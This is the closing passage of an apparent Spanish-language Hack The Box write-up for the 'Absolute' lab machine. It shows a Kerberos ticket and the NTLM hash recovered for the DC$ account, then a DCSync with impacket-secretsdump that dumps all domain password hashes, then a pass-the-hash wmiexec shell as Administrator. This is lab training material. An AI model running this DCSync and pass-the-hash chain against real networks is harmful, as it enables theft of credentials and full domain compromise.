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
ServiceName : krbtgt/absolute.htb
ServiceRealm : ABSOLUTE.HTB
UserName : DC$
UserRealm : ABSOLUTE.HTB
StartTime : 09/11/2023 17:41:28
EndTime : 10/11/2023 3:41:28
RenewTill : 16/11/2023 17:41:28
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : M7L7gv/zz5xzthM7VzufIw==
ASREP (key) : E6F2D6246EAB85BF294F3043757EE442
[*] Getting credentials using U2U
CredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData :
CredentialCount : 1
NTLM : A7864AB463177ACB9AEC553F18F42577
Vemos que nos devuelve las credenciales de la cuenta creada DC$, si las comprobamos por crackmapexec vemos que son válidas, y que no hace falta autenticarse por Kerberos para comprobarlo.
1
2
3
❯ cme smb 10.129.142.54 -u 'DC$' -H A7864AB463177ACB9AEC553F18F42577
SMB 10.129.142.54 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB 10.129.142.54 445 DC [+] absolute.htb\DC$:A7864AB463177ACB9AEC553F18F42577
Ahora podemos realizar un DCSync para dumpear el NTDS, ya que, con la cuenta DC$, podemos usar NTLM como método de autenticación, por lo que el Pass-the-hash funciona.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
❯ impacket-secretsdump 'absolute.htb/DC$@10.129.142.54' -hashes :A7864AB463177ACB9AEC553F18F42577
Impacket v0.11.0 - Copyright 2023 Fortra
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator\Administrator:500:aad3b435b51404eeaad3b435b51404ee:1f4a6093623653f6488d5aa24c75f2ea:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3ca378b063b18294fa5122c66c2280d4:::
J.Roberts:1103:aad3b435b51404eeaad3b435b51404ee:7d6b7511772593b6d0a3d2de4630025a:::
M.Chaffrey:1104:aad3b435b51404eeaad3b435b51404ee:13a699bfad06afb35fa0856f69632184:::
D.Klay:1105:aad3b435b51404eeaad3b435b51404ee:21c95f594a80bf53afc78114f98fd3ab:::
s.osvald:1106:aad3b435b51404eeaad3b435b51404ee:ab14438de333bf5a5283004f660879ee:::
j.robinson:1107:aad3b435b51404eeaad3b435b51404ee:0c8cb4f338183e9e67bbc98231a8e59f:::
n.smith:1108:aad3b435b51404eeaad3b435b51404ee:ef424db18e1ae6ba889fb12e8277797d:::
m.lovegod:1109:aad3b435b51404eeaad3b435b51404ee:a22f2835442b3c4cbf5f24855d5e5c3d:::
l.moore:1110:aad3b435b51404eeaad3b435b51404ee:0d4c6dccbfacbff5f8b4b31f57c528ba:::
c.colt:1111:aad3b435b51404eeaad3b435b51404ee:fcad808a20e73e68ea6f55b268b48fe4:::
s.johnson:1112:aad3b435b51404eeaad3b435b51404ee:b922d77d7412d1d616db10b5017f395c:::
d.lemm:1113:aad3b435b51404eeaad3b435b51404ee:e16f7ab64d81a4f6fe47ca7c21d1ea40:::
svc_smb:1114:aad3b435b51404eeaad3b435b51404ee:c31e33babe4acee96481ff56c2449167:::
svc_audit:1115:aad3b435b51404eeaad3b435b51404ee:846196aab3f1323cbcc1d8c57f79a103:::
winrm_user:1116:aad3b435b51404eeaad3b435b51404ee:8738c7413a5da3bc1d083efc0ab06cb2:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:a7864ab463177acb9aec553f18f42577:::
............
............
Con wmiexec nos conectamos al DC, usando el hash del usuario administrator.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
❯ impacket-wmiexec 'absolute.htb/administrator@10.129.142.54' -hashes :1f4a6093623653f6488d5aa24c75f2ea
Impacket v0.11.0 - Copyright 2023 Fortra
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
absolute\administrator
C:\>ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0 3:
Connection-specific DNS Suffix . : .htb
IPv6 Address. . . . . . . . . . . : dead:beef::1f6
IPv6 Address. . . . . . . . . . . : dead:beef::9126:7509:a487:d66e
Link-local IPv6 Address . . . . . : fe80::9126:7509:a487:d66e%11
IPv4 Address. . . . . . . . . . . : 10.129.142.54
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:f8ec%11
10.129.0.1
------
C:\users\Administrator\desktop>type root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXX
C:\users\Administrator\desktop>
De esta manera habríamos concluido la máquina.
































